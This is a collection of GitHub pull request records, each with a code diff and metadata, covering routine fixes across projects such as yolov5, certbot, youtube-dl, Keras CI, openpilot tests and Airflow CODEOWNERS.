parser.add_argument('--freeze', nargs='+', type=int, default=0, help='Freeze layers: backbone=10, first3=0 1 2') + parser.add_argument('--freeze', nargs='+', type=int, default=[0], help='Freeze layers: backbone=10, first3=0 1 2') parser.add_argument('--save-period', type=int, default=-1, help='Save checkpoint every x epochs (disabled if < 1)') parser.add_argument('--local_rank', type=int, default=-1, help='DDP parameter, do not modify')
Fix for https://github.com/ultralytics/yolov5/issues/6038 ## 🛠️ PR Summary <sub>Made with ❤️ by [Ultralytics Actions](https://github.com/ultralytics/actions)<sub> ### 🌟 Summary Improvement to layer freezing functionality in the YOLOv5 training script. ### 📊 Key Changes - Streamlined assignment of training script arguments by removing an extraneous comma. - Corrected the layer freezing logic to handle both single integers and lists properly. - Adjusted the `--freeze` argument to default to a list with a single element, improving clarity. ### 🎯 Purpose & Impact - Ensures that the layer freezing functionality works as expected, whether specifying individual layers or a range of layers to freeze during training. This can help with transfer learning or fine-tuning models where only certain layers need updating. - The modification of the default value for the `--freeze` argument to a list prevents confusion and potential errors when users do not specify any layers to freeze. - These changes potentially improve the usability and flexibility of the training script, making it easier for users to customize model training to their specific needs.
https://api.github.com/repos/ultralytics/yolov5/pulls/6044
2021-12-20T17:18:12Z
2021-12-20T17:24:08Z
2021-12-20T17:24:08Z
2024-01-19T13:49:39Z
574
ultralytics/yolov5
24,795
[test_leauto_upgrades] actually use everything from v0.1.0 for setup
diff --git a/tests/letstest/multitester.py b/tests/letstest/multitester.py index dee6968c3f8..19a6aad1ae7 100644 --- a/tests/letstest/multitester.py +++ b/tests/letstest/multitester.py @@ -139,7 +139,15 @@ def make_instance(instance_name, time.sleep(1.0) # give instance a name - new_instance.create_tags(Tags=[{'Key': 'Name', 'Value': instance_name}]) + try: + new_instance.create_tags(Tags=[{'Key': 'Name', 'Value': instance_name}]) + except botocore.exceptions.ClientError, e: + if "InvalidInstanceID.NotFound" in str(e): + # This seems to be ephemeral... retry + time.sleep(1) + new_instance.create_tags(Tags=[{'Key': 'Name', 'Value': instance_name}]) + else: + raise return new_instance def terminate_and_clean(instances): diff --git a/tests/letstest/scripts/test_leauto_upgrades.sh b/tests/letstest/scripts/test_leauto_upgrades.sh index 262839ab173..0ad0d608167 100755 --- a/tests/letstest/scripts/test_leauto_upgrades.sh +++ b/tests/letstest/scripts/test_leauto_upgrades.sh @@ -8,12 +8,28 @@ cd letsencrypt SAVE="$PIP_EXTRA_INDEX_URL" unset PIP_EXTRA_INDEX_URL export PIP_INDEX_URL="https://isnot.org/pip/0.1.0/" -./letsencrypt-auto -v --debug --version + +#OLD_LEAUTO="https://raw.githubusercontent.com/letsencrypt/letsencrypt/5747ab7fd9641986833bad474d71b46a8c589247/letsencrypt-auto" + + +if ! command -v git ; then + if [ "$OS_TYPE" = "ubuntu" ] ; then + sudo apt-get update + fi + if ! ( sudo apt-get install -y git || sudo yum install -y git-all || sudo yum install -y git || sudo dnf install -y git ) ; then + echo git installation failed! + exit 1 + fi +fi +BRANCH=`git rev-parse --abbrev-ref HEAD` +git checkout v0.1.0 +./letsencrypt-auto -v --debug --version unset PIP_INDEX_URL export PIP_EXTRA_INDEX_URL="$SAVE" -if ! ./letsencrypt-auto -v --debug --version | grep 0.2.0 ; then +git checkout -f "$BRANCH" +if ! ./letsencrypt-auto -v --debug --version | grep 0.3.0 ; then echo upgrade appeared to fail exit 1 fi
This would catch issues like #2243 in test farm testing.
https://api.github.com/repos/certbot/certbot/pulls/2250
2016-01-20T22:18:26Z
2016-01-28T02:46:47Z
2016-01-28T02:46:47Z
2016-05-06T19:21:56Z
638
certbot/certbot
2,588
Added an IE and test for Freesound.org .
diff --git a/youtube_dl/extractor/__init__.py b/youtube_dl/extractor/__init__.py index 494b1b9d390..7b177e34361 100644 --- a/youtube_dl/extractor/__init__.py +++ b/youtube_dl/extractor/__init__.py @@ -19,6 +19,7 @@ from .escapist import EscapistIE from .facebook import FacebookIE from .flickr import FlickrIE +from .freesound import FreeSoundIE from .funnyordie import FunnyOrDieIE from .gamespot import GameSpotIE from .gametrailers import GametrailersIE diff --git a/youtube_dl/extractor/freesound.py b/youtube_dl/extractor/freesound.py new file mode 100644 index 00000000000..9a2774d3ba6 --- /dev/null +++ b/youtube_dl/extractor/freesound.py @@ -0,0 +1,36 @@ +# -*- coding: utf-8 -*- +import re + +from .common import InfoExtractor + +class FreeSoundIE(InfoExtractor): + _VALID_URL = r'(?:http://)?(?:www\.)?freesound\.org/people/([^/]+)/sounds/([^/]+)' + _TEST = { + u'url': u'http://www.freesound.org/people/miklovan/sounds/194503/', + u'file': u'194503.mp3', + u'md5': u'12280ceb42c81f19a515c745eae07650', + u'info_dict': { + u"title": u"gulls in the city.wav by miklovan", + u"uploader" : u"miklovan" + } + } + + def _real_extract(self, url): + mobj = re.match(self._VALID_URL, url) + music_id = mobj.group(2) + webpage = self._download_webpage(url, music_id) + title = self._html_search_regex(r'<meta property="og:title" content="([^"]*)"', + webpage, 'music title') + music_url = self._html_search_regex(r'<meta property="og:audio" content="([^"]*)"', + webpage, 'music url') + uploader = self._html_search_regex(r'<meta property="og:audio:artist" content="([^"]*)"', + webpage, 'music uploader') + ext = music_url.split('.')[-1] + + return [{ + 'id': music_id, + 'title': title, + 'url': music_url, + 'uploader': uploader, + 'ext': ext, + }] \ No newline at end of file
https://api.github.com/repos/ytdl-org/youtube-dl/pulls/1050
2013-07-15T15:17:12Z
2013-07-15T19:34:15Z
2013-07-15T19:34:15Z
2013-07-15T19:34:53Z
627
ytdl-org/youtube-dl
50,041
Update README.md
diff --git a/README.md b/README.md index 665515bbb..de2613605 100644 --- a/README.md +++ b/README.md @@ -403,6 +403,7 @@ A curated list of awesome Python frameworks, libraries and software. Inspired by * [django-mongodb-engine](https://github.com/django-nonrel/mongodb-engine) - Django MongoDB Backend. * [redisco](https://github.com/kiddouk/redisco) - A Python Library for Simple Models and Containers Persisted in Redis. * [flywheel](https://github.com/mathcamp/flywheel) - Object mapper for Amazon DynamoDB. + * [neomodel](https://github.com/robinedwards/neomodel) - Object-Graph-Mapper for working with neo4j graph database. * Others * [butterdb](https://github.com/Widdershin/butterdb) - A Python ORM for Google Drive Spreadsheets.
added neomodel(https://github.com/robinedwards/neomodel) Object-Graph-Mapper for neo4j graph database
https://api.github.com/repos/vinta/awesome-python/pulls/273
2014-12-02T08:10:14Z
2014-12-02T08:35:03Z
2014-12-02T08:35:03Z
2014-12-02T08:35:03Z
213
vinta/awesome-python
27,045
Update iqiyi key
diff --git a/src/you_get/extractors/iqiyi.py b/src/you_get/extractors/iqiyi.py index af8e0df0e7..2700627d6b 100644 --- a/src/you_get/extractors/iqiyi.py +++ b/src/you_get/extractors/iqiyi.py @@ -45,7 +45,7 @@ ''' def mix(tvid): - salt = 'd7184ccc20a84a9d8be798087386b6b8' + salt = '6ab6d0280511493ba85594779759d4ed' tm = str(randint(2000,4000)) sc = hashlib.new('md5', bytes(salt + tm + tvid, 'utf-8')).hexdigest() return tm, sc, 'eknas'
<!-- Reviewable:start --> [<img src="https://reviewable.io/review_button.png" height=40 alt="Review on Reviewable"/>](https://reviewable.io/reviews/soimort/you-get/891) <!-- Reviewable:end -->
https://api.github.com/repos/soimort/you-get/pulls/891
2016-01-20T03:30:00Z
2016-01-22T02:54:41Z
2016-01-22T02:54:41Z
2016-01-22T02:54:48Z
189
soimort/you-get
21,134
Add Torch, JAX GPU CI
diff --git a/keras/kokoro/github/ubuntu/gpu/build.sh b/keras/kokoro/github/ubuntu/gpu/build.sh index 8b8a1f2dc50..5b523a3bc14 100644 --- a/keras/kokoro/github/ubuntu/gpu/build.sh +++ b/keras/kokoro/github/ubuntu/gpu/build.sh @@ -20,21 +20,16 @@ nvcc --version cd "src/github/keras" pip install -U pip setuptools -pip install -r requirements.txt --progress-bar off if [ "$KERAS_BACKEND" == "tensorflow" ] then echo "TensorFlow backend detected." - pip uninstall -y tensorflow-cpu - pip uninstall -y keras - # TF 2.14 is not built with Cuda 12.2 and doesn't detect GPU - # TODO: Use TF Nightly until TF 2.15 RC is released - pip install -U tf-nightly - pip uninstall -y keras-nightly + pip install -r requirements-tensorflow-cuda.txt --progress-bar off + pip uninstall -y keras keras-nightly echo "Check that TensorFlow uses GPU" python3 -c 'import tensorflow as tf;print(tf.__version__);print(tf.config.list_physical_devices("GPU"))' - # Raise error if GPU is not detected by TensorFlow. - python3 -c 'import tensorflow as tf;len(tf.config.list_physical_devices("GPU")) > 0' + # Raise error if GPU is not detected. + python3 -c 'import tensorflow as tf;assert len(tf.config.list_physical_devices("GPU")) > 0' # TODO: keras/layers/merging/merging_test.py::MergingLayersTest::test_sparse_dot_2d Fatal Python error: Aborted pytest keras --ignore keras/applications \ @@ -46,10 +41,39 @@ fi if [ "$KERAS_BACKEND" == "jax" ] then echo "JAX backend detected." + pip install -r requirements-jax-cuda.txt --progress-bar off + pip uninstall -y keras keras-nightly + python3 -c 'import jax;print(jax.__version__);print(jax.default_backend())' + # Raise error if GPU is not detected. + python3 -c 'import jax;assert jax.default_backend().lower() == "gpu"' + + # TODO: keras/layers/merging/merging_test.py::MergingLayersTest::test_sparse_dot_2d Fatal Python error: Aborted + # TODO: FAILED keras/layers/preprocessing/feature_space_test.py::FeatureSpaceTest::test_saving + # TODO: keras/trainers/data_adapters/py_dataset_adapter_test.py::PyDatasetAdapterTest::test_basic_flow0 Fatal Python error: Aborted + # TODO: FAILED keras/distribution/distribution_lib_test.py + pytest keras --ignore keras/applications \ + --ignore keras/layers/merging/merging_test.py \ + --ignore keras/layers/preprocessing/feature_space_test.py \ + --ignore keras/trainers/data_adapters/py_dataset_adapter_test.py \ + --ignore keras/distribution/distribution_lib_test.py \ + --cov=keras fi # TODO: Add test for PyTorch if [ "$KERAS_BACKEND" == "torch" ] then echo "PyTorch backend detected." + pip install -r requirements-torch-cuda.txt --progress-bar off + pip uninstall -y keras keras-nightly + python3 -c 'import torch;print(torch.__version__);print(torch.cuda.is_available())' + # Raise error if GPU is not detected. + python3 -c 'import torch;assert torch.cuda.is_available()' + + # TODO: Fix the failing Torch GPU CI tests. + # TODO: nn_test failures are on correctness tests. + pytest keras --ignore keras/applications \ + --ignore keras/layers/preprocessing/feature_space_test.py \ + --ignore keras/layers/reshaping/flatten_test.py \ + --ignore keras/ops/nn_test.py \ + --cov=keras fi diff --git a/keras/kokoro/github/ubuntu/gpu/jax/continuous.cfg b/keras/kokoro/github/ubuntu/gpu/jax/continuous.cfg index a414d8e7248..6436bbb89b7 100644 --- a/keras/kokoro/github/ubuntu/gpu/jax/continuous.cfg +++ b/keras/kokoro/github/ubuntu/gpu/jax/continuous.cfg @@ -6,3 +6,6 @@ action { regex: "**/sponge_log.xml" } } + +# Set timeout to 60 mins from default 180 mins +timeout_mins: 60 \ No newline at end of file diff --git a/keras/kokoro/github/ubuntu/gpu/jax/presubmit.cfg b/keras/kokoro/github/ubuntu/gpu/jax/presubmit.cfg index c87eb6547ad..723d0a29a3a 100644 --- a/keras/kokoro/github/ubuntu/gpu/jax/presubmit.cfg +++ b/keras/kokoro/github/ubuntu/gpu/jax/presubmit.cfg @@ -10,4 +10,7 @@ action { env_vars: { key: "KERAS_BACKEND" value: "jax" -} \ No newline at end of file +} + +# Set timeout to 60 mins from default 180 mins +timeout_mins: 60 \ No newline at end of file diff --git a/keras/kokoro/github/ubuntu/gpu/tensorflow/continuous.cfg b/keras/kokoro/github/ubuntu/gpu/tensorflow/continuous.cfg index a414d8e7248..6436bbb89b7 100644 --- a/keras/kokoro/github/ubuntu/gpu/tensorflow/continuous.cfg +++ b/keras/kokoro/github/ubuntu/gpu/tensorflow/continuous.cfg @@ -6,3 +6,6 @@ action { regex: "**/sponge_log.xml" } } + +# Set timeout to 60 mins from default 180 mins +timeout_mins: 60 \ No newline at end of file diff --git a/keras/kokoro/github/ubuntu/gpu/tensorflow/presubmit.cfg b/keras/kokoro/github/ubuntu/gpu/tensorflow/presubmit.cfg index 6158e5ab176..c0b60bc14dc 100644 --- a/keras/kokoro/github/ubuntu/gpu/tensorflow/presubmit.cfg +++ b/keras/kokoro/github/ubuntu/gpu/tensorflow/presubmit.cfg @@ -10,4 +10,7 @@ action { env_vars: { key: "KERAS_BACKEND" value: "tensorflow" -} \ No newline at end of file +} + +# Set timeout to 60 mins from default 180 mins +timeout_mins: 60 \ No newline at end of file diff --git a/keras/kokoro/github/ubuntu/gpu/torch/continuous.cfg b/keras/kokoro/github/ubuntu/gpu/torch/continuous.cfg index a414d8e7248..6436bbb89b7 100644 --- a/keras/kokoro/github/ubuntu/gpu/torch/continuous.cfg +++ b/keras/kokoro/github/ubuntu/gpu/torch/continuous.cfg @@ -6,3 +6,6 @@ action { regex: "**/sponge_log.xml" } } + +# Set timeout to 60 mins from default 180 mins +timeout_mins: 60 \ No newline at end of file diff --git a/keras/kokoro/github/ubuntu/gpu/torch/presubmit.cfg b/keras/kokoro/github/ubuntu/gpu/torch/presubmit.cfg index 779550ec664..dd6fe934f11 100644 --- a/keras/kokoro/github/ubuntu/gpu/torch/presubmit.cfg +++ b/keras/kokoro/github/ubuntu/gpu/torch/presubmit.cfg @@ -10,4 +10,7 @@ action { env_vars: { key: "KERAS_BACKEND" value: "torch" -} \ No newline at end of file +} + +# Set timeout to 60 mins from default 180 mins +timeout_mins: 60 \ No newline at end of file
Adds Torch, Jax GPU CI.
https://api.github.com/repos/keras-team/keras/pulls/18580
2023-10-09T17:51:05Z
2023-10-10T08:42:14Z
2023-10-10T08:42:14Z
2023-10-10T11:54:39Z
1,880
keras-team/keras
47,298
move nose tests to unittest
diff --git a/Jenkinsfile b/Jenkinsfile index 89dd58da4d3b20..9dfdc36e8b7c16 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -170,8 +170,8 @@ pipeline { steps { phone_steps("eon", [ ["build", "cd selfdrive/manager && ./build.py"], - ["test sounds", "nosetests -s selfdrive/ui/tests/test_sounds.py"], - ["test boardd loopback", "nosetests -s selfdrive/boardd/tests/test_boardd_loopback.py"], + ["test sounds", "python selfdrive/ui/tests/test_soundd.py"], + ["test boardd loopback", "python selfdrive/boardd/tests/test_boardd_loopback.py"], ["test loggerd", "python selfdrive/loggerd/tests/test_loggerd.py"], ["test encoder", "python selfdrive/loggerd/tests/test_encoder.py"], ["test logcatd", "python selfdrive/logcatd/tests/test_logcatd_android.py"], diff --git a/selfdrive/boardd/tests/test_boardd_loopback.py b/selfdrive/boardd/tests/test_boardd_loopback.py index 21b7a7ced6d3dc..f77ba6489ddb0d 100755 --- a/selfdrive/boardd/tests/test_boardd_loopback.py +++ b/selfdrive/boardd/tests/test_boardd_loopback.py @@ -2,96 +2,104 @@ import os import random import time +import unittest from collections import defaultdict from functools import wraps import cereal.messaging as messaging from cereal import car -from common.basedir import BASEDIR from common.params import Params from common.spinner import Spinner from common.timeout import Timeout from panda import Panda from selfdrive.boardd.boardd import can_list_to_can_capnp from selfdrive.car import make_can_msg -from selfdrive.test.helpers import with_processes +from selfdrive.test.helpers import phone_only, with_processes -def reset_panda(fn): - @wraps(fn) - def wrapper(): +def reset_panda(f): + @wraps(f) + def wrapper(*args, **kwargs): p = Panda() for i in [0, 1, 2, 0xFFFF]: p.can_clear(i) p.reset() p.close() - fn() + f(*args, **kwargs) return wrapper os.environ['STARTED'] = '1' os.environ['BOARDD_LOOPBACK'] = '1' -os.environ['BASEDIR'] = BASEDIR - -@reset_panda -@with_processes(['pandad']) -def test_boardd_loopback(): - # wait for boardd to init - spinner = Spinner() - time.sleep(2) - - with Timeout(60, "boardd didn't start"): - sm = messaging.SubMaster(['pandaStates']) - while sm.rcv_frame['pandaStates'] < 1: - sm.update(1000) - - # boardd blocks on CarVin and CarParams - cp = car.CarParams.new_message() - - safety_config = car.CarParams.SafetyConfig.new_message() - safety_config.safetyModel = car.CarParams.SafetyModel.allOutput - cp.safetyConfigs = [safety_config] - - Params().put("CarVin", b"0"*17) - Params().put_bool("ControlsReady", True) - Params().put("CarParams", cp.to_bytes()) - - sendcan = messaging.pub_sock('sendcan') - can = messaging.sub_sock('can', conflate=False, timeout=100) - - time.sleep(1) - - n = 1000 - for i in range(n): - spinner.update(f"boardd loopback {i}/{n}") - - sent_msgs = defaultdict(set) - for _ in range(random.randrange(10)): - to_send = [] - for __ in range(random.randrange(100)): - bus = random.randrange(3) - addr = random.randrange(1, 1<<29) - dat = bytes([random.getrandbits(8) for _ in range(random.randrange(1, 9))]) - sent_msgs[bus].add((addr, dat)) - to_send.append(make_can_msg(addr, dat, bus)) - sendcan.send(can_list_to_can_capnp(to_send, msgtype='sendcan')) - - max_recv = 10 - while max_recv > 0 and any(len(sent_msgs[bus]) for bus in range(3)): - recvd = messaging.drain_sock(can, wait_for_one=True) - for msg in recvd: - for m in msg.can: - if m.src >= 128: - k = (m.address, m.dat) - assert k in sent_msgs[m.src-128] - sent_msgs[m.src-128].discard(k) - max_recv -= 1 - - # if a set isn't empty, messages got dropped - for bus in range(3): - assert not len(sent_msgs[bus]), f"loop {i}: bus {bus} missing {len(sent_msgs[bus])} messages" - - spinner.close() + +class TestBoardd(unittest.TestCase): + + @classmethod + def setUpClass(cls): + cls.spinner = Spinner() + + @classmethod + def tearDownClass(cls): + cls.spinner.close() + + @phone_only + @reset_panda + @with_processes(['pandad']) + def test_loopback(self): + # wait for boardd to init + time.sleep(2) + + with Timeout(60, "boardd didn't start"): + sm = messaging.SubMaster(['pandaStates']) + while sm.rcv_frame['pandaStates'] < 1: + sm.update(1000) + + # boardd blocks on CarVin and CarParams + cp = car.CarParams.new_message() + + safety_config = car.CarParams.SafetyConfig.new_message() + safety_config.safetyModel = car.CarParams.SafetyModel.allOutput + cp.safetyConfigs = [safety_config] + + params = Params() + params.put("CarVin", b"0"*17) + params.put_bool("ControlsReady", True) + params.put("CarParams", cp.to_bytes()) + + sendcan = messaging.pub_sock('sendcan') + can = messaging.sub_sock('can', conflate=False, timeout=100) + + time.sleep(1) + + n = 1000 + for i in range(n): + self.spinner.update(f"boardd loopback {i}/{n}") + + sent_msgs = defaultdict(set) + for _ in range(random.randrange(10)): + to_send = [] + for __ in range(random.randrange(100)): + bus = random.randrange(3) + addr = random.randrange(1, 1<<29) + dat = bytes([random.getrandbits(8) for _ in range(random.randrange(1, 9))]) + sent_msgs[bus].add((addr, dat)) + to_send.append(make_can_msg(addr, dat, bus)) + sendcan.send(can_list_to_can_capnp(to_send, msgtype='sendcan')) + + max_recv = 10 + while max_recv > 0 and any(len(sent_msgs[bus]) for bus in range(3)): + recvd = messaging.drain_sock(can, wait_for_one=True) + for msg in recvd: + for m in msg.can: + if m.src >= 128: + k = (m.address, m.dat) + assert k in sent_msgs[m.src-128] + sent_msgs[m.src-128].discard(k) + max_recv -= 1 + + # if a set isn't empty, messages got dropped + for bus in range(3): + assert not len(sent_msgs[bus]), f"loop {i}: bus {bus} missing {len(sent_msgs[bus])} messages" if __name__ == "__main__": - test_boardd_loopback() + unittest.main() diff --git a/selfdrive/test/helpers.py b/selfdrive/test/helpers.py index 6a7c1a837800c2..b227abd16824d6 100644 --- a/selfdrive/test/helpers.py +++ b/selfdrive/test/helpers.py @@ -1,10 +1,9 @@ import time from functools import wraps -from nose.tools import nottest from selfdrive.hardware import PC -from selfdrive.version import training_version, terms_version from selfdrive.manager.process_config import managed_processes +from selfdrive.version import training_version, terms_version def set_params_enabled(): @@ -17,11 +16,13 @@ def set_params_enabled(): params.put_bool("Passive", False) -def phone_only(x): - if PC: - return nottest(x) - else: - return x +def phone_only(f): + @wraps(f) + def wrap(self, *args, **kwargs): + if PC: + self.skipTest("This test is not meant to run on PC") + f(self, *args, **kwargs) + return wrap def with_processes(processes, init_time=0, ignore_stopped=None): diff --git a/selfdrive/ui/tests/test_soundd.py b/selfdrive/ui/tests/test_soundd.py new file mode 100755 index 00000000000000..80302faa9a9c1b --- /dev/null +++ b/selfdrive/ui/tests/test_soundd.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +import subprocess +import time +import unittest + +from cereal import log, car +import cereal.messaging as messaging +from selfdrive.test.helpers import phone_only, with_processes +# TODO: rewrite for unittest +from common.realtime import DT_CTRL +from selfdrive.hardware import HARDWARE + +AudibleAlert = car.CarControl.HUDControl.AudibleAlert + +SOUNDS = { + # sound: total writes + AudibleAlert.none: 0, + AudibleAlert.chimeEngage: 173, + AudibleAlert.chimeDisengage: 173, + AudibleAlert.chimeError: 173, + AudibleAlert.chimePrompt: 173, + AudibleAlert.chimeWarning1: 163, + AudibleAlert.chimeWarning2: 216, + AudibleAlert.chimeWarning2Repeat: 470, + AudibleAlert.chimeWarningRepeat: 468, +} + +def get_total_writes(): + audio_flinger = subprocess.check_output('dumpsys media.audio_flinger', shell=True, encoding='utf-8').strip() + write_lines = [l for l in audio_flinger.split('\n') if l.strip().startswith('Total writes')] + return sum([int(l.split(':')[1]) for l in write_lines]) + +class TestSoundd(unittest.TestCase): + def test_sound_card_init(self): + assert HARDWARE.get_sound_card_online() + + @phone_only + @with_processes(['soundd']) + def test_alert_sounds(self): + pm = messaging.PubMaster(['controlsState']) + + # make sure they're all defined + alert_sounds = {v: k for k, v in car.CarControl.HUDControl.AudibleAlert.schema.enumerants.items()} + diff = set(SOUNDS.keys()).symmetric_difference(alert_sounds.keys()) + assert len(diff) == 0, f"not all sounds defined in test: {diff}" + + # wait for procs to init + time.sleep(1) + + for sound, expected_writes in SOUNDS.items(): + print(f"testing {alert_sounds[sound]}") + start_writes = get_total_writes() + + for _ in range(int(9 / DT_CTRL)): + msg = messaging.new_message('controlsState') + msg.controlsState.alertSound = sound + msg.controlsState.alertType = str(sound) + msg.controlsState.alertText1 = "Testing Sounds" + msg.controlsState.alertText2 = f"playing {alert_sounds[sound]}" + msg.controlsState.alertSize = log.ControlsState.AlertSize.mid + pm.send('controlsState', msg) + time.sleep(DT_CTRL) + + tolerance = (expected_writes % 100) * 2 + actual_writes = get_total_writes() - start_writes + assert abs(expected_writes - actual_writes) <= tolerance, f"{alert_sounds[sound]}: expected {expected_writes} writes, got {actual_writes}" + +if __name__ == "__main__": + unittest.main() diff --git a/selfdrive/ui/tests/test_sounds.py b/selfdrive/ui/tests/test_sounds.py deleted file mode 100755 index 1f81370dc672ba..00000000000000 --- a/selfdrive/ui/tests/test_sounds.py +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python3 -import time -import subprocess - -from cereal import log, car -import cereal.messaging as messaging -from selfdrive.test.helpers import phone_only, with_processes -from common.realtime import DT_CTRL -from selfdrive.hardware import HARDWARE - -AudibleAlert = car.CarControl.HUDControl.AudibleAlert - -SOUNDS = { - # sound: total writes - AudibleAlert.none: 0, - AudibleAlert.chimeEngage: 173, - AudibleAlert.chimeDisengage: 173, - AudibleAlert.chimeError: 173, - AudibleAlert.chimePrompt: 173, - AudibleAlert.chimeWarning1: 163, - AudibleAlert.chimeWarning2: 216, - AudibleAlert.chimeWarning2Repeat: 470, - AudibleAlert.chimeWarningRepeat: 468, -} - -def get_total_writes(): - audio_flinger = subprocess.check_output('dumpsys media.audio_flinger', shell=True, encoding='utf-8').strip() - write_lines = [l for l in audio_flinger.split('\n') if l.strip().startswith('Total writes')] - return sum([int(l.split(':')[1]) for l in write_lines]) - -@phone_only -def test_sound_card_init(): - assert HARDWARE.get_sound_card_online() - - -@phone_only -@with_processes(['soundd']) -def test_alert_sounds(): - pm = messaging.PubMaster(['controlsState']) - - # make sure they're all defined - alert_sounds = {v: k for k, v in car.CarControl.HUDControl.AudibleAlert.schema.enumerants.items()} - diff = set(SOUNDS.keys()).symmetric_difference(alert_sounds.keys()) - assert len(diff) == 0, f"not all sounds defined in test: {diff}" - - # wait for procs to init - time.sleep(1) - - for sound, expected_writes in SOUNDS.items(): - print(f"testing {alert_sounds[sound]}") - start_writes = get_total_writes() - - for _ in range(int(9 / DT_CTRL)): - msg = messaging.new_message('controlsState') - msg.controlsState.alertSound = sound - msg.controlsState.alertType = str(sound) - msg.controlsState.alertText1 = "Testing Sounds" - msg.controlsState.alertText2 = f"playing {alert_sounds[sound]}" - msg.controlsState.alertSize = log.ControlsState.AlertSize.mid - pm.send('controlsState', msg) - time.sleep(DT_CTRL) - - tolerance = (expected_writes % 100) * 2 - actual_writes = get_total_writes() - start_writes - assert abs(expected_writes - actual_writes) <= tolerance, f"{alert_sounds[sound]}: expected {expected_writes} writes, got {actual_writes}"
https://api.github.com/repos/commaai/openpilot/pulls/22665
2021-10-23T04:28:22Z
2021-10-25T16:44:04Z
2021-10-25T16:44:04Z
2021-10-25T16:44:05Z
3,560
commaai/openpilot
9,540
Reduce Kamil's CODEOWNER scope to just the Snowflake provider
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 1e87eb16c739f..e4c16b38d3f6c 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -18,18 +18,15 @@ # Helm Chart /chart/ @dstandish @jedcunningham -# Docs -/docs/ @mik-laj - # Docs (without Providers) -/docs/apache-airflow @kaxil @potiuk +/docs/apache-airflow @potiuk /docs/docker-stack @potiuk /docs/helm-chart @dstandish @jedcunningham /docs/*.py @kaxil @potiuk # API -/airflow/api/ @mik-laj @ephraimbuddy -/airflow/api_connexion/ @mik-laj @ephraimbuddy +/airflow/api/ @ephraimbuddy +/airflow/api_connexion/ @ephraimbuddy # WWW /airflow/www/ @ryanahamilton @ashb @bbovenzi @@ -80,12 +77,12 @@ # Dev tools /.github/workflows/ @potiuk @ashb @kaxil -Dockerfile @potiuk @ashb @mik-laj +Dockerfile @potiuk @ashb Dockerfile.ci @potiuk @ashb /dev/ @potiuk @ashb @jedcunningham /provider_packages/ @potiuk @ashb -/scripts/ @potiuk @ashb @mik-laj -/docker_tests/ @potiuk @ashb @mik-laj +/scripts/ @potiuk @ashb +/docker_tests/ @potiuk @ashb # Releasing Guides & Project Guidelines /dev/README_RELEASE_*.md @kaxil
https://api.github.com/repos/apache/airflow/pulls/28927
2023-01-13T14:34:40Z
2023-01-13T14:45:18Z
2023-01-13T14:45:18Z
2023-01-13T14:45:19Z
431
apache/airflow
14,491
Fix stretched thumbnails on extras tab
diff --git a/style.css b/style.css index 3f56087a040..88bf6ad80db 100644 --- a/style.css +++ b/style.css @@ -246,7 +246,7 @@ button.custom-button{ } } -#txt2img_gallery img, #img2img_gallery img{ +#txt2img_gallery img, #img2img_gallery img, #extras_gallery img{ object-fit: scale-down; } #txt2img_actions_column, #img2img_actions_column {
The thumbnails on the extras tab are stretched when the image isn't a square. This fixes that.
https://api.github.com/repos/AUTOMATIC1111/stable-diffusion-webui/pulls/10113
2023-05-05T09:54:23Z
2023-05-08T05:21:24Z
2023-05-08T05:21:24Z
2023-05-08T08:36:42Z
114
AUTOMATIC1111/stable-diffusion-webui
40,133
Use env variable for RTD environment name instead of IF
diff --git a/docs/env_setup.sh b/docs/env_setup.sh index aac30644808c..b9c26bcdd547 100644 --- a/docs/env_setup.sh +++ b/docs/env_setup.sh @@ -16,10 +16,5 @@ unzip protoc-3.11.4-linux-x86_64.zip ../proto/streamlit/proto/*.proto #re-run setup.py build process to make protobuf available -#this is tremendously fragile, as ../lib is hardcoded in here, and testing presence of environment directories -if [ -d "/home/docs/checkouts/readthedocs.org/user_builds/streamlit-streamlit/envs/latest" ] -then - /home/docs/checkouts/readthedocs.org/user_builds/streamlit-streamlit/envs/latest/bin/python -m pip install --upgrade --upgrade-strategy eager --no-cache-dir ../lib -else - /home/docs/checkouts/readthedocs.org/user_builds/streamlit-streamlit/envs/stable/bin/python -m pip install --upgrade --upgrade-strategy eager --no-cache-dir ../lib -fi +#this is tremendously fragile, as ../lib is hardcoded in here +/home/docs/checkouts/readthedocs.org/user_builds/streamlit-streamlit/envs/${READTHEDOCS_VERSION}/bin/python -m pip install --upgrade --upgrade-strategy eager --no-cache-dir ../lib
Fixes #1540 Per [RTD docs](https://docs.readthedocs.io/en/stable/builds.html#build-environment), `READTHEDOCS_VERSION` is available in the build container to indicate what version is building. This clarifies the `env_setup.sh` build script, while also allowing for any version of the docs to be built, not just `stable` and `latest`
https://api.github.com/repos/streamlit/streamlit/pulls/1569
2020-06-12T18:39:34Z
2020-06-15T12:41:11Z
2020-06-15T12:41:11Z
2020-06-15T12:44:16Z
293
streamlit/streamlit
22,435
Fix: Missing args in Sub-commands
diff --git a/share/cht.sh.txt b/share/cht.sh.txt index d56ae652..4b151bfe 100755 --- a/share/cht.sh.txt +++ b/share/cht.sh.txt @@ -460,5 +460,5 @@ while true; do version) cmd_name=version;; *) cmd_name="query $cmd_name";; esac - cmd_$cmd_name $cmdargs + cmd_$cmd_name $cmd_args done
It should be a typo. The args parsed into `cmd_args`, but used `$cmdargs` for passing args.
https://api.github.com/repos/chubin/cheat.sh/pulls/108
2018-09-02T01:38:03Z
2018-09-03T20:48:24Z
2018-09-03T20:48:24Z
2018-09-03T20:48:24Z
109
chubin/cheat.sh
15,268
Shape inference for Theano backend
